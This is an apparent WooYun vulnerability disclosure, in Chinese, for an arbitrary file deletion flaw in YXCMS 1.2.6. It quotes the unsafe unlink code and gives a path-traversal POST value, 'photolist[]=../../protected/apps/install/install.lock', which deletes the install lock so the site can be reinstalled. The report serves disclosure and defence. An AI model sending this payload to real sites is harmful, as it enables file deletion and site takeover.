当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-082195

漏洞标题：YXCMS 1.2.6任意文件删除可Reinstall

相关厂商：yxcms.net

漏洞作者： 路人甲

提交时间：2014-11-18 18:28

修复时间：2014-11-23 18:30

公开时间：2014-11-23 18:30

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-18： 细节已通知厂商并且等待厂商处理中
2014-11-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

YXCMS 1.2.6任意文件删除 # Reinstall

详细说明：

前人经验：

http://wooyun.org/bugs/wooyun-2010-047226


产生漏洞文件：

protected\apps\admin\controller\photoController.php


protected\apps\member\controller\photoController.php


关键代码：

if(!empty($photos['photolist'])){
					$phoarr=explode(',',$photos['photolist']);
					foreach ($phoarr as $vo){
						if(file_exists($path.$vo))
						@unlink($path.$vo);
						if(file_exists($path.'thumb_'.$vo))
						@unlink($path.'thumb_'.$vo);
					}


追踪：

$photos=model('photo')->find("id='$id'",'photolist,sort,extfield,account');


photo表里的数据在新建图集或者编辑图集的时候插入数据库

$_POST[‘photolist’]

来源于用户数据
所以注册完用户，信息中心新建一个图集，然后删除图集，其中photolist参数POST传值修改为：

photolist%5B%5D=../../protected/apps/install/install.lock


即可删除install.lock

64.png


之后即可重新安装

65.png

漏洞证明：

如上

修复方案：

加油

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-23 18:30

厂商回复：

最新状态：

暂无